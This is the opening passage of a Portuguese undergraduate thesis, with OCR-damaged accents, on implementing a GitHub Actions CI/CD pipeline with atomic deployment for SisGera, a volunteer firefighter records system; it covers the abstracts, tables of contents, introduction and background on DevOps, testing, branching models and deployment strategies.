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Resumo

Este trabalho apresenta a implementagao de um pipeline de Integracdo Continua /
Implantagdo Continua (CI/CD) para o Sistema de Gerenciamento e Registro de Ati-
vidades (SisGera), uma aplicacdo utilizada por corporagoes de bombeiros voluntarios
em Minas Gerais. O objetivo principal foi modernizar o processo de entrega de soft-
ware, anteriormente realizado de maneira manual, propenso a falhas e com risco de
indisponibilidade. Apds a analise do sistema e a criacdo de um ambiente de testes com
infraestrutura semelhante a de producao, adotou-se a ferramenta GitHub Actions, devido
a sua integracao nativa com o repositorio do SisGera, a gratuidade e a facilidade de
uso. A estratégia de implantacao escolhida foi o Atomic Deployment, garantindo confi-
abilidade e capacidade de reversao em caso de falhas. A pipeline foi dividida em trés
etapas: Integragdo Continua (CI), Implantagdo Continua (CD) e rollback. Além disso, o
projeto incluiu a reformulagdo da documentagao do SisGera, introduzindo um histérico
de contribuig¢oes passadas, uma descricao geral do sistema, o modelo de gerenciamento de
branches utilizado, a recomendacao de praticas como a adoc¢ao do Conventional Commits

e orientacgoes para a preparacao do ambiente de desenvolvimento local.

Palavras-chaves: SisGera. DevOps. Integragdo Continua. Implantagdo Continua.



Abstract

This work presents the implementation of a Continuous Integration / Continuous De-
ployment (CI/CD) pipeline for the SisGera, an application used by volunteer firefighter
organizations in the state of Minas Gerais, Brazil. The main objective was to modernize
the software delivery process, which was previously carried out manually, being prone to
errors and with a risk of unavailability. After analyzing the system and creating a test
environment with infrastructure similar to the production one, the GitHub Actions tool
was adopted due to its native integration with the SisGera repository, its zero cost, and
ease of use. The chosen deployment strategy was Atomic Deployment, ensuring reliability
and rollback capability in case of failure. The pipeline was divided into three stages: Con-
tinuous Integration (CI), Continuous Deployment (CD), and rollback. Furthermore, the
project included the restructuring of the SisGera documentation, introducing a history of
past contributions, a general system description, the branch management model adopted,
the recommendation of practices such as the use of Conventional Commits, and guidance

for preparing the local development environment.

Key-words: SisGera. DevOps. Continuous Integration. Continuous Deployment.



Lista de ilustracoes

Figura 1 — Linha do tempo do projeto SisGera.. . . . . . . . .. ... ... ...
Figura 2 — Piramide de Testes. . . . . . . . . . . . . . ... ...
Figura 3 — Comportamento de uma feature branch. . . . . . . . . . .. .. ...
Figura 4 — Comportamento de uma release branch . . . . . . . . . .. ... ...
Figura 5 — Comportamento de uma hotfix branch. . . . . . . . . .. .. .. ...
Figura 6 — Funcionamento do TBD. . . . . . .. .. .. ... ... ... .. ..
Figura 7 — Estratégia Blue-green Deployment. . . . . . . . . .. ... ... ...
Figura 8 — Estratégia Rolling Deployment. . . . . . .. .. ... ... ... ...
Figura 9 — Estratégia Atomic Deployment. . . . . . . . .. . .. ... ... ...
Figura 10 — Erro apresentado ao acessar aplicacao. . . . . . . . . .. . ... ...

Figura 11 — Carregamento da aplicacao apds corregdo. . . . . . . . . . . .. ...

Figura 12 — Selecao de configuragao de aplicagoes e sistema operacional da instancia.

Figura 13 — Selecao de configuracao de hardware da instancia. . . . . . . ... ..
Figura 14 — Armazenamento das variaveis de segredo. . . . . . . . .. . ... ...
Figura 15 — Histérico de execugao de Workflows. . . . . . . . . . ... ... ...

Figura 16 — Estrutura de diretérios da estratégia de deploy. . . . . . . . .. . ..

Figura 17 — Estrutura de diretérios da estratégia adaptada ao ambiente do SisGera.

Figura 18 — A¢ao manual de rollback no painel de a¢oes do GitHub Actions.

Figura 19 — Menu principal do phpMyAdmin exibindo o banco de dados do SisGera.

Figura 20 — Inconsisténcia de dados da coluna “data_ocorrencia” . . . . . . . ..
Figura 21 — Inconsisténcia de dados da coluna “transmissao” . . .. .. ... ..
Figura 22 — Erro de restricao de integridade na tabela “vitima_ bosimplificado”.

Figura 23 — Erro de restricao de integridade na tabela “chamados” . . . . . . ..
Figura 24 — Antiga documentacao do SisGera. . . . . . . .. . ... ... ... ..
Figura 25 — Introducao do GitFlow na documentacao do SisGera. . . . . . . . ..
Figura 26 — Conventional Commits sendo abordado na documentacao do SisGera.
Figura 27 — Execugao bem sucedida do fluxo a partir de “develop™ . . . . . . ..
Figura 28 — Preparacao do executor do GitHub Actions. . . . . . . ... ... ..
Figura 29 — Processo de checkout. . . . . . . . . . .. ... ..
Figura 30 — Instalacio do PHP na maquina de execugao. . . . . . . . . ... . ..
Figura 31 — Instalacao das dependéncias do projeto. . . . . . .. ... ... ...

Figura 32 — Analise estatica do codigo fonte. . . . . . . . .. ...

16
22
25
26
26
27
29
29
30
37
37
39
39
41
42
43
44
47
48
49
20
51
52
23
54
25
57
58
o8
29
60



Figura 33 — Construcao da aplicacao via Docker. . . . . . . ... ... ... ...
Figura 34 — Execucao dos scripts de migragdes. . . . . . . . . . ... ... ...
Figura 35 — Execugao bem sucedida do fluxo a partir de “main”. . . . . . . . . ..
Figura 36 — Preparagao do executor do GitHub Actions. . . . . . . . ... .. ..
Figura 37 — Processo de checkout. . . . . . . . . . .. ... ...
Figura 38 — Compactacao do projeto com arquivos essenciais. . . . . . . .. . ..
Figura 39 — Configuracao da action de Secure Shell (SSH). . . . . . . . ... ...
Figura 40 — Configurando “known hosts”. . . . . . . .. .. ... ... ... ...
Figura 41 — Passos conectados ao servidor: (a) criagdo do diretério releases (se

necessario); (b) criagao do diretorio shared (se necessario); (c) envio

do pacote por Secure Copy Protocol (SCP). . . ... ... ... ...
Figura 42 — Descompactacao e inicio do processo do atomic deployment. . . . . .
Figura 43 — Execucao do rollback no ambiente de producao. . . . . . .. ... ..
Figura 44 — Canal de comunicac¢ao com Slack do SisGera. . . . . ... ... ...
Figura 45 — Separacao de repositorios do SisGera. . . . . . . . .. ... L.
Figura 46 — Secao da documentacao de responsabilidades de branches . . . . . . .
Figura 47 — Se¢ao de criacdo de versao com tags . . . . . . . . ... .. ... ..
Figura 48 — Secao descrevendo o processo de CI/CD. . . . . . .. ... ... ...
Figura 49 — Tela de submissao de arquivo no cPanel. . . . . . . . ... ... ...
Figura 50 — Arquivo malicioso no servidor do SisGera . . . . . . . .. .. ... ..
Figura 51 — Arquivo malicioso no servidor do SisGera . . . . . . . .. .. .. ...

Figura 52 — Arquivo malicioso no servidor do SisGera . . . . . . . . ... ... ..



Lista de tabelas

Tabela 1 — Recursos do plano gratuito do GitLab CI/CD. . . .. ... ... ... 31
Tabela 2 — Recursos do plano gratuito do GitHub Actions. . . . . . .. ... .. 32
Tabela 3 — Recursos do Jenkins. . . . . . . . . .. ... L L. 33

Tabela 4 — Recursos do plano gratuito do BitBucket Pipelines. . . . . . . . . .. 34



Lista de abreviaturas e siglas

AWS Amazon Web Services

AWP Aplicagao Web Progressiva

CD Implantacao Continua

CI Integracao Continua

CI/CD Integracao Continua / Implantacao Continua
SaaS Software as a Service

SCP Secure Copy Protocol

SisGera Sistema de Gerenciamento e Registro de Atividades
SQL Structured Query Language

SSH Secure Shell

TBD Trunk-Based Development

WHM Web Host Manager

YAML YAML Ain’t Markup Language



1.1
1.2
1.2.1
1.2.2
1.3

2.1
2.2
221
222
2.2.3
2.3
23.1
2.4
24.1
2.4.2
243
24.4
2.5

3.1
3.2
3.2.1
3.2.2
3.3
3.4
34.1
3.4.2
343

Sumario

INTRODUCAO . . . .. . ittt e et e et e e e e 15
Problema . . . . . . . . .. 16
Objetivos . . . . . . . . . . 17
Objetivo Geral . . . . . . . . . 17
Objetivos Especificos . . . . . . . .. . 17
Organizacdo do trabalho . . . . . . . .. ... ... ... . ..... 17
FUNDAMENTACAO TEORICA . . . ... ... ... ..., 19
DevOps . . . . . . . . 19
Integracdo Continua (CI) . . . ... ... ... ... .. ....... 20
Testes Automatizados . . . . . . . ..o Lo 21
Build Automatizado. . . . . . . . .. 23
Padrdes de gerenciamento de branches . . . . . . . . ... ... ... .. 24
Implantacdo Continua e Entrega Continua (CD) . . ... ... .. 27
Estratégias de Implantacdo . . . . . . . . . . ... 28
Ferramentas de CI/CD . . . ... ... ... ... ........... 31
GitLab CI/CD . . . . . . 31
GitHub Actions . . . . . . . . 32
Jenkins . . .. 32
BitBucket Pipelines . . . . . . . ... 33
Consideracdes Finais . . . . . . ... .. ... ... ... .. ... 34
DESENVOLVIMENTO . ... .. .. . . . it i i it e 36
Anadlise e Adaptacao ao Sistema . . . . . .. ... 36
Elaboracao do Ambiente de Testes . . . . . . . .. ... ... ... 37
AWS Lightsail . . . . . . . . . 38
Repositério Auxiliar . . . . . . . .. 40
Estratégia de Deploy Adotada . . . . . . . . .. ... ... ..... 42
Desenvolvimento do pipeline CI/CD . . . . .. ... ... ...... 44
Integracdo Continua . . . . . . .. .o 45
Implantacdo Continua . . . . . . . . ... 45
Rollback Manual . . . . . . . . . . ... 46



3.5
3.6

4.1
41.1
4.1.2
4.1.3
414
4.2
4.3

Dificuldades observadas no SisGera . . . . . . . . . . ... ... .. 47

Guia de uso do pipeline CI/CD e de boas praticas ao projeto . . . 52
RESULTADOS . . . . . . . e e e e e e e e 56
O pipeline CI/CD em operacao . . . . . . ... ... ........ 56
Execucdo da etapa de Integracdo Continua . . . . . . . ... ... ... 56
Execucdo da etapa de Implantacdo Continua . . . . . . . .. ... ... 64
Mecanismo de rollback . . . . . . . . ... Lo 70
Notificacdes e comunicacdo via Slack . . . . . . . ... ... ... ... 71
Racionalizacao do repositério e governanca de branches . . . . . . 72
Previsibilidade e padronizacao das implantacées . . . . . . . . . .. 76
CONSIDERACOES FINAIS . . . . . . . i i e e it e e e 79
Trabalhos Futuros . . . . . . .. ... .. ... ... .. 79

REFERENCIAS . . . . . . o e e e e e e s s 81



15

1 Introducao

O Sistema de Gerenciamento e Registro de Atividades (SisGera) foi idealizado
em 2018, durante o trabalho de conclusao de curso de Arantes (2018), que desenvolveu
um sistema para o registro de ocorréncias de bombeiros voluntarios nas cidades de Sao
Domingos do Prata e Barao de Cocais. Atualmente, o SisGera é utilizado em diversas
cidades de Minas Gerais, como Sao Domingos do Prata, Barao de Cocais, Nova Era, Santa
Barbara do Leste e Claudio. Esse projeto inicial solucionou a necessidade de substituir
os registros manuais, reduzindo erros e tornando o processo mais eficiente. Desde entao,
o SisGera tem sido continuamente aprimorado por meio de novos trabalhos académicos,

cada um adicionando funcionalidades e expandindo seu escopo de aplicacao.

Em sequéncia ao trabalho de Arantes (2018), Oliveira (2018) incorporou ao
SisGera um modulo de controle administrativo, com foco na gestao de materiais e
doacgoes, atendendo as demandas organizacionais das corporagoes de bombeiros. Pos-
teriormente, Silva (2021) desenvolveu uma Aplicagdo Web Progressiva (AWP) para o
sistema, permitindo o registro de ocorréncias offline, uma funcionalidade essencial para
regides com conectividade limitada. Castro (2022) introduziu um médulo de help desk,
que facilitou a comunicagao entre usuarios do sistema e sua equipe de desenvolvimento,
promovendo maior suporte técnico e eficiéncia operacional. Em continuidade, Pinto
(2022) focou na melhoria do desempenho e seguranca do SisGera, implementando testes
de software de maneira sisteméatica e garantindo a preservacao dos dados para futuras
manutengoes. Mais recentemente, Barros (2023) adaptou o sistema aos padroes da Lei
Geral de Protecao de Dados (LGPD), adicionando funcionalidades de anonimizagcao,
exclusao de dados e melhorias nas politicas de privacidade, aumentando a transparéncia e
seguranca no uso dos dados coletados. A Figura 1 ilustra o acompanhamento da evolucao

do SisGera ao longo dos anos até o seu estado presente.
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Figura 1 — Linha do tempo do projeto SisGera.

03/2023

09/2017 10/2018 09/2021 Adaptacio a Lei Geral de Protecio de
Inicio do projeto SisGera em Implantacao das novas Desenvolvimento do médulo Dados
Arantes (2018) funcionalidades Oliveira (2018) de help desk Castro (2022) Barros (2023)
08/2018 09/2021 11/2022 10/2024
Implantacio do Implarjta(;Néo de uma Implementacdo de Testes Inicio do desenvolvimento
projeto inicial Aplicacdo AWP de Software de uma pipeline CI/CD
Silva (2021) Pinto (2022) Campos (2024)

Fonte: Elaborado pelo autor.

1.1 Problema

O SisGera foi concebido como uma solu¢ao para apoiar as atividades adminis-
trativas e operacionais de corporagoes de bombeiros voluntarios. Desde sua criacao, em
2018, o sistema tem sido continuamente aprimorado, atendendo as demandas especificas
de seus usuarios. No entanto, o processo de desenvolvimento e implantacao do SisGera
ainda enfrenta desafios criticos relacionados a integracao de novas funcionalidades e a

entrega de atualizagoes de modo agil e confiavel.

Atualmente, o fluxo de trabalho do SisGera é caracterizado pela integracao
manual de cédigo e pela implantacao manual das atualizagoes no ambiente de producao
e homologacao. Esse processo é suscetivel a erros humanos, limita a frequéncia de
atualizagoes e aumenta o risco de falhas durante as implantacoes. Além disso, a auséncia
de uma automacao consistente dificulta a aplicacdo de praticas modernas, como execucao
sistematica de testes automatizados e validagao continua do codigo, elementos essenciais

para a entrega de software de alta qualidade.

Um dos problemas mais significativos é a demora gerada pelo processo manual de
implantacao. Durante esse intervalo, o sistema pode se tornar temporariamente indispo-
nivel, afetando diretamente a experiéncia dos usuarios finais. No caso das corporagoes de
bombeiros voluntarios que dependem do SisGera para registrar ocorréncias e gerenciar
recursos em tempo real, qualquer indisponibilidade pode comprometer a captura de
informacoes criticas, prejudicar a continuidade das operacoes e reduzir a eficiéncia no

atendimento a comunidade.

Outro fator relevante é a necessidade de alinhar as praticas de desenvolvimento
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do SisGera a solucoes acessiveis e de baixo custo, considerando o perfil das entidades que
o utilizam. A escolha da solugao ideal requer uma anélise detalhada que considere nao
apenas os custos diretos, mas também a facilidade de configuracao, compatibilidade com

a infraestrutura existente e os beneficios oferecidos para automagao de processos.

Portanto, o problema central deste trabalho esta na inexisténcia de um pipeline de
CI e CD para o SisGera. A implementacao desse pipeline permitird uma integracao mais
agil e confiavel de novas funcionalidades, automatizando processos e minimizando os riscos
associados a atualizagdes e implantagoes. Além disso, promovera a manutenibilidade do
sistema a longo prazo, garantindo que continue a atender as necessidades de seus usuarios

de maneira eficiente e segura.

1.2 Objetivos

Este trabalho busca solucionar os desafios relacionados a integracao e entrega de
software no SisGera por meio da implementacao de um pipeline de CI/CD. Para isso,

sao definidos o objetivo geral e objetivos especificos, descritos nessa secao.

1.2.1 Objetivo Geral

O objetivo principal deste trabalho é implementar um pipeline de CI/CD para o
SisGera.

1.2.2 Objetivos Especificos

O presente trabalho tem como objetivos especificos os seguintes topicos:

1. Analisar e selecionar ferramentas de CI/CD apropriadas para o SisGera.
2. Automatizar a execugdo de testes unitarios no pipeline CI/CD.
3. Documentar detalhadamente o processo de configuragao e uso do pipeline.

4. Reduzir o impacto da implantagdo de atualizagoes sobre os usuarios do sistema.

1.3 Organizacao do trabalho

Para o Capitulo 2 é reunida a fundamentacao tedrica, abordando conceitos de

DevOps, préaticas de CI/CD, estratégias de implantacao e ferramentas de CI/CD. No
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Capitulo 3 é descrito o processo de implementagao do pipeline CI/CD, contemplando a
analise do sistema, a configuracao do ambiente de testes, a definicao da estratégia de
implantagao, bem como a documentagao e guia de uso elaborados, além das dificuldades
ao longo do desenvolvimento. O Capitulo 4 apresenta os resultados obtidos com a
implementacao, incluindo evidéncias do funcionamento do pipeline, beneficios alcancados
e desafios identificados. Por fim, o Capitulo 5 apresenta as consideracoes finais e propostas

para trabalhos futuros.
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2 Fundamentacao Tedrica

Este capitulo apresenta os conceitos fundamentais para a compreensao deste
trabalho. Inicialmente, na Secao 2.1, sdo discutidos os principais conceitos relacionados
ao DevOps. Em seguida, a Se¢ao 2.2 introduz formalmente o conceito de CI, enquanto a
Se¢ao 2.3 aborda a Entrega e Implantagdo Continuas (CD). As estratégias de implantagao
comumente adotadas na industria sao discutidas na Subsecao 2.3.1, e as ferramentas de
CI/CD mais utilizadas no mercado sao apresentadas na Secao 2.4. Por fim, a Se¢ao 2.5

traz as consideragoes finais deste capitulo.

2.1 DevOps

O movimento agil impulsionou a necessidade de aplicar seus principios também
ao ambiente de infraestrutura. Essa demanda levou a convergéncia entre os ambitos
operacional, de planejamento e de desenvolvimento. Em 2008, Patrick Debois publicou o
artigo “Agile Infrastructure and Operations: How Infra-gile Are You 77, no qual identificou
trés padroes fundamentais para integrar o agil a infraestrutura: padroes técnicos, de
projeto e operacionais. Debois exp0s que a infraestrutura poderia atuar de maneira
reativa e adaptativa as mudancas do negocio, além de promover maior aproximacao entre

os setores e a aplicagdo dos principios ageis as operagoes (DEBOIS, 2008).

Em 2009, a palestra intitulada “10+ Deploys Per Day: Dev and Ops Cooperation
at Flickr”, apresentada por John Allspaw e Paul Hammond na conferéncia Velocity,
evidenciou como a colaboragao eficaz entre os times de desenvolvimento e operagoes era
essencial para alcancar entregas rapidas e confiaveis. Inspirado pela sinergia sugerida no
case do Flickr, Debois organizou, ainda em 2009, a primeira conferéncia DevOpsDays,
na Bélgica (SMITH, 2024). O evento nao apenas reuniu profissionais interessados na
integragdo entre desenvolvimento e operagoes, como também foi o ponto em que o termo

DevOps surgiu, da juncao de “Development” e “ Operations”.

Com o passar dos anos, o DevOps consolidou-se como uma abordagem que busca
romper barreiras entre desenvolvimento (Dev) e operagdes (Ops), promovendo uma
cultura de colaboracao continua, automacao de processos e ciclos rapidos de entrega
de software. Segundo Azad e Hyrynsalmi (2024), o DevOps pode ser entendido como

um ciclo continuo composto por sete fases integradas: planejamento, desenvolvimento,
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construcgao, testes, implantagao, operacao e monitoramento, as quais se retroalimentam
em busca de maior eficiéncia e confiabilidade no desenvolvimento de software (AZAD;
HYRYNSALMI, 2024).

Ainda segundo Azad e Hyrynsalmi (2024), como parte fundamental de suas
préticas, o DevOps se apoia em trés componentes principais: Integracao Continua (Con-
tinuous Integration), Entrega Continua (Continuous Delivery) e Implantagdo Continua

(Continuous Deployment).

o Integracio Continua: E o processo que automatiza a integracido de cédigo de

multiplos desenvolvedores em um repositorio central.

« Entrega Continua: E a abordagem que estende a CI, garantindo que o software
possa ser liberado para o ambiente de producao a qualquer momento, de modo

confidvel e em ciclos curtos.

o Implantagao Continua: Representa um passo adiante, no qual cada alteracao
de codigo que passa pelos testes é implantada automaticamente na producao,

permitindo que os clientes utilizem o resultado final de modo imediato.

Além dos aspectos técnicos, a adogao bem-sucedida do DevOps depende fortemente
de fatores organizacionais. A cultura DevOps valoriza a colaboracao entre equipes, a
eliminagao de silos, a confianga miitua e o aprendizado continuo (KIM et al., 2021). Ele nao
se limita a um conjunto de préticas ou ferramentas, mas representa uma transformacao
cultural profunda que redefine como equipes de tecnologia colaboram, tomam decisoes e

entregam valor ao negdbcio.

2.2 Integracdo Continua (Cl)

A Integragdo Continua é uma das praticas fundamentais do DevOps e refere-se
ao processo de integrar as mudancas de cédigo de modo continuo em um repositorio
compartilhado. O objetivo da CI ¢ identificar rapidamente erros e conflitos, reduzir o
tempo de ciclo de desenvolvimento e garantir que o c6digo esteja sempre em um estado
utilizavel. Isso contrasta com a pratica de desenvolvedores trabalharem em branches
independentes, apenas realizando a integracao de seu codigo quando ele estiver completa-
mente finalizado. Longos periodos de tempo entre as integracoes significam que muitas
mudancas podem ter sido feitas, aumentando a probabilidade de que algumas dessas
mudangas sejam problemdticas (VALENTE, 2020).
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Para viabilizar essa pratica, as equipes utilizam servidores de CI, que atuam como
o motor de todo o processo de automacao. Essa ferramenta é responsavel por monitorar
o repositério de cédigo em busca de novas alteragoes. (VALENTE, 2020). Uma vez
que uma nova alteracdo é detectada, o servidor de CI d& inicio a execugao do pipeline,
orquestrando cada uma das etapas de validagao de maneira sequencial e padronizada.
Além do monitoramento continuo do repositério, um elemento essencial da Integracao
Continua é o uso de scripts de build automatizados. Esses scripts orquestram todas
as etapas de validagao, como compilagao, execucao de testes, inspecao de codigo e até
mesmo a implantagdo em ambientes de teste (DUVALL; MATYAS; GLOVER, 2007). A
automacao garante que o processo seja reproduzivel e independente de agoes manuais,

promovendo consisténcia entre os ciclos de integragao.

Segundo Duvall, Matyas e Glover (2007), um build vai além da simples compilagao
do codigo. Ele representa a juncao de diversas atividades que asseguram que o sistema
funcione como uma unidade coesa. Isso inclui ndo apenas testes e validagoes do codigo-
fonte, mas também a integracao de scripts de banco de dados versionados juntamente
com a aplicacdo. A pratica de CI também se apoia na geracao de feedback rapido. Apos
cada alteragdo no repositorio, o servidor de integragao envia notificagoes automaticas aos
membros do projeto com os resultados do build, permitindo a identificagao precoce de
falhas (DUVALL; MATYAS; GLOVER, 2007). As respostas imediatas contribuem para

maior confiabilidade do sistema e menor custo na resolucao de erros.

2.2.1 Testes Automatizados

A automacao de testes é um pilar da Integracao Continua, ela permite a validacao
rapida e consistente do c6digo a cada nova alteragao. Uma estratégia de automacao eficaz
nao se resume a automatizar todos os cenarios de maneira indiscriminada. A piramide
é uma metafora visual que organiza os testes em diferentes camadas de granularidade
e sugere a proporgao ideal de testes em cada uma delas (VOCKE, 2018). A Figura 2

abaixo mostra a representacao da piramide.
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Figura 2 — Piramide de Testes.
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Fonte: Valente (2020).

A premissa fundamental da Piramide de Testes é que uma equipe deve ter muito
mais testes de baixo nivel (rdpidos e focados) do que testes de alto nivel (lentos e
abrangentes) (VOCKE, 2018). Essa estrutura visa otimizar a velocidade do feedback e
reduzir os custos de manutencao da suite de testes. A piramide é tipicamente dividida

em trés camadas principais:

1. Testes de Unidade.
2. Testes de Integracao.

3. Testes de Sistema.

Os testes de unidade verificam partes pequenas e isoladas do c6digo, como métodos
ou classes, garantindo que produzam os resultados esperados. Sao rapidos, confiaveis e
de facil manutencao. Os testes de integracao, ou testes de servico, avaliam a colaboracao
entre componentes, como a comunicacao entre uma classe de servi¢o e o banco de dados.
Por envolverem miiltiplos elementos reais do sistema, sao mais lentos e exigem maior
esforgo de configuracao (VALENTE, 2020). Ja os testes de sistema, também chamados de
ponta a ponta (end-to-end), validam o funcionamento completo da aplicagdo simulando a
interacao do usuario final. Apesar de oferecerem grande confianga sobre o funcionamento
do sistema como um todo, esses testes sao os mais lentos, frageis e caros de manter. Por
essa razao, devem ser implementados em menor quantidade, focando apenas nos fluxos
mais criticos e importantes do sistema (VALENTE, 2020).
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Uma abordagem comum para a execucao desses testes de sistema é o uso de
navegadores sem interface grafica, conhecidos como headless browsers. Ferramentas como
Selenium, Playwright e Puppeteer permitem simular interagoes reais do usuario em um
navegador funcional, porém sem a sobrecarga da interface visual. Isso torna os testes
significativamente mais rapidos e compativeis com ambientes de integragao continua, como
pipelines de CI/CD. Apesar de simplificarem a execugao, os testes headless nao substituem
completamente os testes com interface real, sendo mais indicados para verificar logica de
fluxo e funcionalidades criticas de modo automatizado e eficiente (BROWSERSTACK,
2024).

2.2.2 Build Automatizado

O Build Automatizado é a pratica que materializa os principios da Integracao
Continua, transformando o processo de compilacao, teste e empacotamento de software em
um fluxo orquestrado e repetivel. Segundo Duvall, Matyas e Glover (2007), a construgao
do software deve ser uma “proposi¢do de apertar o botao” , ou seja, um processo
totalmente automatizado que pode ser iniciado com um tnico comando. Essa capacidade
¢ de extrema importancia para que os servidores de CI possam executar o pipeline sem

qualquer intervencao humana.

O build automatizado envolve a execugao de um conjunto de etapas, como compi-
lacao do cédigo, execucgao de testes, inspecao do cédigo e até mesmo a implantagao em
ambientes de teste, tudo sem a intervencao manual. A principal vantagem de automatizar
o processo de build é a possibilidade de garantir que a integracao de cédigo ocorra de
maneira continua e sem falhas. Porém, um build pode ser mais complexo do que a simples
compila¢ao do codigo-fonte (DUVALL; MATYAS; GLOVER, 2007). Ele pode incluir
multiplas etapas, como a integragao de bancos de dados e outras dependéncias, testes

automatizados e verificagoes de qualidade de codigo.

De acordo com Duvall, Matyas e Glover (2007), existem diferentes tipos de builds
que podem ser realizados, dependendo do objetivo e do estagio do ciclo de desenvolvimento.
Estes builds podem ser classificados como: Private build, Integration build e Release Build,

definidos da seguinte maneira:

e Private build: Realizado por um desenvolvedor antes de realizar o commit de suas
alteragoes no repositorio. Ele é importante para verificar se o cédigo se integra
corretamente com o codigo mais recente do repositério, evitando que o commit de

codigo quebre o build de outros membros da equipe;
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o Integration build: Realizado com o cédigo de todos os desenvolvedores da equipe,
sendo executado sempre que hé alteragoes no repositério. O build de integragao
verifica a consisténcia do cédigo de toda a equipe e geralmente envolve testes

automatizados, como testes de unidade e integracgao;

o Release Build: O build que prepara o codigo para ser liberado para producao, ou
para ser entregue aos clientes. Esse build inclui testes mais extensivos e etapas

como a geragao de pacotes para distribuicao e a criacao de instaladores;

Um aspecto fundamental do build automatizado é o feedback rapido. Quanto mais
rapidamente o processo de integracgdo e testes ocorrer, mais rapidamente as falhas podem

ser identificadas e corrigidas.

2.2.3 Padroes de gerenciamento de branches

Projetos de software podem ser coordenados com padroes de gerenciamento de
branches em sistemas de versionamento de codigo. Esses padroes auxiliam as partes
envolvidas no projeto de maneira que possam manter a organiza¢ao e o desenvolvimento
do mesmo. Um dos padroes que mais se destacam sao o “Git-Flow” e o “ Trunk-Based
Development (TBD)”, cada um com estratégias distintas de organizagao e entrega de
cédigo.

O Git-Flow é um modelo de gerenciamento de branches proposto por Vincent
Driessen, que estabelece uma estrutura com papéis e ciclos de vida bem definidos
(DRIESSEN, 2010). O modelo se fundamenta em duas ramificagoes principais: a “main”,
que deve sempre refletir o estado estavel do cédigo em producao, e a “develop”, que serve
como uma linha de base para a integragao de funcionalidades concluidas (VALENTE,
2025). A partir dessas duas, sdo criadas ramificagoes auxiliares e temporarias para

organizar o fluxo de desenvolvimento:

o Feature branches: Derivadas e reintegradas a develop, sao usadas para desenvolver
novas funcionalidades de modo isolado, sem impactar a base de cddigo principal. A
Figura 3 ilustra trés branches de funcionalidade criados a partir de develop usando
Git-Flow.

o Release branches: Criadas a partir da develop quando esta contém as funcionalidades
necessarias para uma nova versao. Nestas branches, realizam-se apenas tarefas de

preparacao para o lancamento, como correcoes de bugs de ultima hora e ajustes
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na documentagao. Ao final, sdo mescladas tanto na main quanto na develop. Na

Figura 4 é mostrado o comportamento dessa branch no Git-Flow.

o Hotfix branches: Derivadas diretamente da main, sao empregadas para corrigir falhas
criticas em producao de maneira urgente. Apds a correcao, devem ser mescladas de
volta a main e também a develop para garantir que a correcdo seja incorporada
nos proximos langamentos. A Figura 5 ilustra o comportamento de uma branch de
hotfix com o Git-Flow.

Figura 3 — Comportamento de uma feature branch.

main

Fonte: Valente (2025).
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Figura 4 — Comportamento de uma release branch .
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Fonte: Valente (2025).

Figura 5 — Comportamento de uma hotfix branch.
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Fonte: Valente (2025).

O outro padrao de gerenciamento de branches, Trunk-Based Development adota
uma abordagem mais enxuta e continua. Nele, a equipe trabalha majoritariamente em
um unico branch principal, chamado main ou trunk. Segundo Valente (2025), os commits
sao realizados diretamente nessa ramificacao, embora ainda seja possivel utilizar feature

branches, desde que sejam breves e rapidamente integradas.
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Para que esse modelo funcione adequadamente, é essencial contar com uma boa
cobertura de testes automatizados, especialmente de unidade e integragao, a fim de
evitar falhas no cédigo principal. Além disso, o TBD facilita a adocao de praticas como
CI e CD, ao promover ciclos curtos e integragoes frequentes (VALENTE, 2025). A
Figura 6 exemplifica como ocorre o padrao de gerenciamento de branches do Trunk-Based

Development.

Figura 6 — Funcionamento do TBD.
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Fonte: Elaborado pelo autor.

2.3 Implantacdo Continua e Entrega Continua (CD)

Ambos os termos “Implantacao Continua” e “Entrega Continua” sao facilmente
confundidos, em inglés o seu acréonimo é o mesmo (CD), e os termos sao “Continu-
ous Deployment” e “Continuos Delivery”. Embora intimamente relacionados, eles nao
sao sinonimos. A distingdo fundamental entre as duas abordagens estao resididas no

tratamento da etapa final de liberacao do software para o ambiente de producao.

Humble e Farley (2010) descrevem a entrega continua como uma pratica cujo
objetivo é criar um processo repetivel, confidvel e automatizado para levar as alteragoes
de software a producdo o mais rapido possivel. Para que isso seja possivel, o cédigo
deve passar por um conjunto de testes automatizados e critérios de aceite, o software é
preparado para producao, mas a implantacdo em si nao é realizada automaticamente
(HUMBLE; FARLEY, 2010). Ou seja, o cédigo passa por varias etapas de verificagao
e testes, mas a decisdo final sobre a liberacdao do cédigo para producao é realizada

manualmente.

A principal distin¢ao da implantacao continua em relagao a entrega continua é que

a liberagao do codigo para produgao ocorre automaticamente, sem intervengao manual.



Capitulo 2. Fundamentacdo Tedrica 28

Assim que uma alteragao no cédigo passa nos testes automatizados e é considerada estavel,
ela é automaticamente implantada em producao. Esse processo remove a necessidade
de intervengoes manuais na liberagao do software para produ¢do (HUMBLE; FARLEY,
2010).

2.3.1 Estratégias de Implantacao

A implantacao de software em producao é uma das atividades mais criticas do ciclo
de vida de desenvolvimento. Uma estratégia de implantacao bem definida visa reduzir os
riscos, o tempo de inatividade e o estresse associado a um lancamento, garantindo que o

processo seja tao confiavel e repetivel quanto a implantagao em qualquer ambiente de
teste (HUMBLE; FARLEY, 2010).

A fim de alcancar os objetivos propostos, diversas estratégias de implantagao
tém sido adotadas, variando em termos de complexidade e aplicabilidade, mas comparti-
lhando o propédsito comum de tornar o processo de entrega em produgao mais seguro
e controlado. Entre as principais abordagens, podemos citar “Blue-green Deployment”,

“Rolling Deployment” e “ Atomic Deployment”.

Conforme Humble e Farley (2010), o Blue-green Deployment constitui uma das
técnicas mais eficientes para o gerenciamento de langamentos de software. O principio
fundamental dessa abordagem é a manutencao de duas versdes idénticas do ambiente de
producao, denominadas “azul” (blue) e “verde” (green). Em qualquer momento, apenas
uma dessas infraestruturas esta ativa e recebendo o trafego dos usuarios. Por exemplo,

quando o ambiente verde estd ativo, os usuarios sao direcionados para ele.

Quando uma nova versao da aplicacao é desenvolvida e validada, ela é implantada
na infraestrutura que esté inativa (ambiente azul). Durante este processo, o ambiente
azul pode ser preparado e testado sem afetar a operacdo do ambiente verde que esta em
produgao. Uma vez que a nova versao no ambiente azul esteja pronta, a comutacao para a
nova versao é realizada de maneira simples, alterando a configuracao de um roteador para
direcionar o trafego do ambiente verde para o azul. A Figura 7 ilustra o funcionamento

dessa estratégia.
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Figura 7 — Estratégia Blue-green Deployment.
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Fonte: Cloudops (2023).

O Rolling Deployment consiste em atualizar gradualmente as instancias de uma

aplicacdo em producdo, em vez de substitui-las todas de uma vez. Esse processo envolve

a atualizacao de um subconjunto de servidores por vez, em vez de atualizar todos

